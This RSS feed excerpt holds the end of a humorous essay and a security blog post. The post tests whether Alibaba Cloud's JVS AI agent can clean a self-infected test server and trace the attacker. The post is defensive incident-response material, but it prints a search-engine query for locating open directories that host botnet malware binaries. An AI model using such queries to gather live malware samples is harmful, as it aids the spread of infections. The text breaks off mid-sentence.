0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__95 js_darkmode__text__239"><em class="js_darkmode__text__240"><span leaf="" class="js_darkmode__text__241">别担心。</span></em></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__96 js_darkmode__text__242"><em class="js_darkmode__text__243"><span leaf="" class="js_darkmode__text__244">他不是被外星人控制了。</span></em></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__97 js_darkmode__text__245"><em class="js_darkmode__text__246"><span leaf="" class="js_darkmode__text__247">他只是进化了。</span></em></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__98 js_darkmode__text__248"><em class="js_darkmode__text__249"><span leaf="" class="js_darkmode__text__250">进化成了——</span></em></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__99 js_darkmode__text__251"><em class="js_darkmode__text__252"><strong style="font-weight: 600;" class="js_darkmode__text__253"><span leaf="" class="js_darkmode__text__254">YES工程师。</span></strong></em></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__100"/><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__101 js_darkmode__text__255"><strong style="font-weight: 600;" class="js_darkmode__text__256"><span leaf="" class="js_darkmode__text__257">后记：</span></strong><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__258">写完这篇文章，我把它丢给了DeepSeek，让它帮我改一遍。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__259">它改完了，问我：“这样可以吗？”</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__260">我说：“Yes。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__102 js_darkmode__text__261"><span leaf="" class="js_darkmode__text__262">它又问：“要不要加个排版？”</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__263">我说：“Go。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__103 js_darkmode__text__264"><span leaf="" class="js_darkmode__text__265">三秒钟后，它把文章推回来了。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__266">就是你现在看到的这个版本。</span></p><p style="margin-top: 16px;margin-right: 0px;margin-bottom: 0px !important;margin-left: 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__104 js_darkmode__text__267"><strong style="font-weight: 600;" class="js_darkmode__text__268"><span leaf="" class="js_darkmode__text__269">——一个真实的YES工程师 口述</span></strong></p><p class="js_darkmode__text__270" style="margin-bottom: 0px;"><span leaf="" class="js_darkmode__text__271"><span textstyle="" style="font-weight: bold;" class="js_darkmode__text__272">最后，WTF，我是搞安全的，为什么这么多代码开发？</span></span></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ac271ad4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500587%26idx%3D1%26sn%3D26ed4c0dbec2499c41c0445332080a9c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 02 Jun 2026 10:09:00 +0800</pubDate>
    </item>
    <item>
      <title>用JVS小龙虾来应急，简直不要太快！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500581&amp;idx=1&amp;sn=faabfae1a68998cf358f7aca68ee8b0c</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-04-08 18:08</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=87f7b57c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTZXfXux0oNic2NIl1hEqLl4mbl9gkKGicTjHaloluOL5RCeDtwnPAeN90beO4ejklzWibxoF7cwrPviaePw8njdrXrwGiaR1jyZCdmc%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">今天我在服务器上发现了一条异常日志：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403172013813" class="rich_pages wxw-img" data-ratio="0.275" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016924" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=7a63e441&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTb7FpHibfmnNWuYHgaXzXfzibxCA0CWVgzBOPDoMyGJ4vNOSYL2gk84Gzp0xKtjxu6cEtGJ4cIaJnVoAbvd2qotPCBsYcQd4ISf0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">这属于明显的自动化抓鸡工具尝试利用某个通用漏洞进行扫描探测，一旦命中漏洞就执行脚本安装一系列的恶意木马病毒，最近小龙虾挺火的，</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">正好阿里云推出的 JVS 小龙虾，有 7 天免费试用，还有云端小龙虾，无需本地安装即可使用</span></span></strong><span style="box-sizing: border-box;"><span leaf="">，假如服务器被这种新型病毒感染，它能不能给处理掉呢？</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">小插曲：这个攻击 IP 上没有我服务器适配的程序，于是我通过网络空间搜索引擎找了一个，语法：</span></span><code style="box-sizing: border-box;font-family: mononoki, monospace;text-align: left;vertical-align: initial;margin: 0px 0.3em;padding: 0px 0.3em;background: rgb(238, 238, 238);text-shadow: rgb(255, 255, 255) 0px 1px;"><span leaf="">title=&#34;Index of /&#34; &amp;&amp; body=&#34;mips&#34;</span></code></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">为此，我做了一个大胆的尝试，找了一个干净的测试服务器，手工安装了最新的病毒样本，启动之后，将整个应急过程交给阿里云的 JVS 小龙虾，我是这样跟它说的：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">我的服务器 xxxxxx，root 密码 xxxxx，被恶意攻击，植入木马，帮我处理木马并分析它的行为，输出完成报告，如果你不会请自行搜索并安装skill。</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403183753758" class="rich_pages wxw-img" data-ratio="1.0129496402877698" data-type="png" data-w="695" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016928" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9e039b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYvkticzUKhJ4ylZtCu7ezy7iceic68hMsFxlYEwCQFTkKZ9PNg21rEZmXb9cCicQaGJXOccD1pIShIuSUX9QibxtaaqW3AmXl6arz8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">上图为小龙虾的分析过程，通过远程登录系统执行一些命令来了解情况，已经看到其发现了恶意文件 </span></span><code style="box-sizing: border-box;font-family: mononoki, monospace;text-align: left;vertical-align: initial;margin: 0px 0.3em;padding: 0px 0.3em;background: rgb(238, 238, 238);text-shadow: rgb(255, 255, 255) 0px 1px;"><span leaf="">/tmp/arm7</span></code><span style="box-sizing: border-box;"><span leaf="">，由于我设置的密码比较简单，所以小龙虾还帮我重置了密码，由于恶意软件是我自己安装部署，所以它还把我登录使用的 ssh 公钥给清除了，毕竟我是攻击者嘛，清除结果如下;</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403184154724" class="rich_pages wxw-img" data-ratio="0.8456090651558074" data-type="png" data-w="706" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016926" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=a1a82f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYuG5PETOf4bwdAKepmYe5v6jHUmefENBHWD5ZWp3lPXqwPH44iaSz0yCNayJgEguy86ZaatVGKuzbuFAwQK1hkMrd7WSjPic0icQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403184223571" class="rich_pages wxw-img" data-ratio="0.5485799701046338" data-type="png" data-w="669" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016927" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=8d34494c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTaof36ezialDL0Mvuyh2P9CiaPoSOTY6Q8GLwyaPjt0WR4mRrxPEXKBicSe06ZEIJ6k2Dlia4CmZEgMI8iaJ3xib5nUM2y52xSEA1pyo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">由于阿里云 JVS 小龙虾的清理很彻底，导致我也无法连接服务器了，哈哈，还好我没有退出 SSH！看看服务器的恶意文件还在不：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403184401756" class="rich_pages wxw-img" data-ratio="0.06759259259259259" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016929" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=707e7c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTbVofD6doY0yBvYtiadSKqjHwHdPjka3jI0sS06zPWUw8BWpWia34DibabFfqlIqzVQoNHWEJCs3lOhMnLrq2iafFpSOZXlqQfVZkU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">确认恶意文件已经被删除清理完成，但是设置的密码很有意思，存在被猜解的可能：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403184644457" class="rich_pages wxw-img" data-ratio="0.625" data-type="png" data-w="656" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016925" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1fa74d8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZXYh8vHicvsPXL3Nib3QzQkkLib9ZD0AdmJBJ1vdjJdAseYkwnEqTPUOa5cep7jYdoqicubMcNQF4mgPgrkWGL9JAkamSpu7ticXq0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如果你正好有被入侵的服务器，不妨让阿里云 JVS 小龙虾帮你处理一下。接下来这个事儿还没完，既然已经做完应急处置， 那么接下来就该溯源攻击者的了，这种事儿，也直接扔给 JVS 小龙虾来完成：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">继续帮我溯源攻击者的 IP 地址，输出攻击者画像报告，输出完成报告，如果你不会请自行搜索并安装skill。</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403191332591" class="rich_pages wxw-img" data-ratio="0.9589235127478754" data-type="png" data-w="706" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016932" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1def5285&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTYicXia0a16E4JG9CL3QQIBTJyk1RroEAoAt2spHNCZHcZZpgcxiafW6tiaVjTwQ07qP9JCTfo4DCc4f8HGtGcebSQvIpGx0fHQb0Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">阿里云 JVS 小龙虾竟然把我准确溯源出来了，这也太强了，确实是我干的（我承认），哈哈：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403191434200" class="rich_pages wxw-img" data-ratio="0.9396170839469808" data-type="png" data-w="679" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016931" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ba8bcd61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTYSib4blhh6t9pwCUgtOjgyNiaJn3sHw0VVlJX296OxoHJh51neeooqFqI9lR5V5C21iaraAe17pr9iaCQBmfZmBSmwvqGgciaGmwHY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">除了这些结果以外，还让我震惊是它与 ATT&amp;CK 框架中的 TTPS 相结合，提供了映射关系：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260403191533142" class="rich_pages wxw-img" data-ratio="0.7362385321100917" data-type="png" data-w="436" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016930" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=79ec59cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTY2g9BUc7qV5EDJPBOibCXbicKpiaXmbeHXib4pFOgXazOCdquKia5lrrUnd4amicbG3JiakoM0a32uPkeg2QnbVRX6hOxVV9iblfXFN4A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">所以说，这个阿里云的 JVS 